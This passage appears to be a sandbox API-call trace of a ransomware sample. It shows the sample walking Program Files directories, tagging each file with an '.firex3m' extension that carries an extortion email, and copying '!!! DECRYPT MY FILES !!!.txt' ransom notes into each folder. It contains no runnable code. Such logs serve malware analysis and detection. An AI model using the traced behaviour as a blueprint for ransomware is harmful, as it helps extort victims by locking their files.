out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.529] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.529] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe074, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt殖ৄh") returned 28 [0115.529] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe070, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt殖ৄh") returned 17 [0115.529] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebeddc | out: lpFindFileData=0x6ebeddc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x17bb043c, dwReserved1=0x1d2a02b, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5000 [0115.529] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0115.529] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\Services\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\services\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0115.538] GetProcessHeap () returned 0x630000 [0115.538] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1208 [0115.538] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0115.539] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0115.539] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0115.539] SysReAllocStringLen (in: pbstr=0x6ebf0d8*=0x0, psz="C:\\Program Files\\Common Files\\System\\", len=0x25 | out: pbstr=0x6ebf0d8*="C:\\Program Files\\Common Files\\System\\") returned 1 [0115.539] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0115.539] SysReAllocStringLen (in: pbstr=0x6ebf080*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf080*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0115.539] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0115.539] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*.*", lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4e00 [0115.540] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.540] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0115.540] SysReAllocStringLen (in: pbstr=0x6ebee10*=0x0, psz="C:\\Program Files\\Common Files\\System\\ado\\", len=0x29 | out: pbstr=0x6ebee10*="C:\\Program Files\\Common Files\\System\\ado\\") returned 1 [0115.540] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\", cchLength=0x29 | out: lpsz="c:\\program files\\common files\\system\\ado\\") returned 0x29 [0115.540] SysReAllocStringLen (in: pbstr=0x6ebedb8*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebedb8*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0115.540] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0115.540] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4e40 [0115.559] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.559] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52a0c6a1, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x52a0c6a1, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x52a0c6a1, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a08, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0115.559] SysReAllocStringLen (in: pbstr=0x6ebee08*=0x0, psz="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc", len=0x35 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 1 [0115.559] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\system\\ado\\adojavas.inc") returned 0x35 [0115.560] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.560] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.560] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.560] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.560] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebddac, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0115.560] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdda8, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0115.560] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebeb14 | out: lpFindFileData=0x6ebeb14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x17bb043c, dwReserved1=0x1d2a02b, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4f00 [0115.560] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0115.560] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\system\\ado\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0115.563] GetProcessHeap () returned 0x630000 [0115.563] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1208, Size=0x10) returned 0x6b12b0 [0115.563] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0115.563] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ado\\adojavas.inc", psz="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc", len=0x33 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 1 [0115.563] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\system\\ado\\adovbs.inc") returned 0x33 [0115.563] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.563] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.564] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.564] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.564] GetProcessHeap () returned 0x630000 [0115.564] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b12b0, Size=0x14) returned 0x6b0398 [0115.564] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0115.564] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", len=0x2f | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\System\\ado\\en-US\\") returned 1 [0115.564] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0115.564] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0115.564] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0115.564] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x648, cFileName=".", cAlternateFileName="")) returned 0x6d4f00 [0115.564] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.565] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0115.565] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui", len=0x3f | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 1 [0115.565] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui") returned 0x3f [0115.565] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.565] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.565] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.565] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.565] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0115.565] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0115.565] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0115.566] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ado\\adovbs.inc", psz="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll", len=0x35 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 1 [0115.566] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\system\\ado\\msader15.dll") returned 0x35 [0115.566] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.566] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.566] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.566] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.566] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xced4b5c5, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x12d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0115.566] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ado\\msader15.dll", psz="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll", len=0x34 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 1 [0115.566] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\system\\ado\\msado15.dll") returned 0x34 [0115.566] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.566] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.566] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.566] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.567] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0115.567] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ado\\msado15.dll", psz="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb", len=0x34 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 1 [0115.567] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\system\\ado\\msado20.tlb") returned 0x34 [0115.567] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.567] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.567] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.567] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.567] GetProcessHeap () returned 0x630000 [0115.567] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0398, Size=0x18) returned 0x6b0418 [0115.567] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0115.567] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ado\\msado20.tlb", psz="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb", len=0x34 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 1 [0115.567] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\system\\ado\\msado21.tlb") returned 0x34 [0115.568] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.568] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.568] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.568] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.568] GetProcessHeap () returned 0x630000 [0115.568] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0418, Size=0x1c) returned 0x6e9008 [0115.568] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0115.568] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ado\\msado21.tlb", psz="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb", len=0x34 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 1 [0115.568] 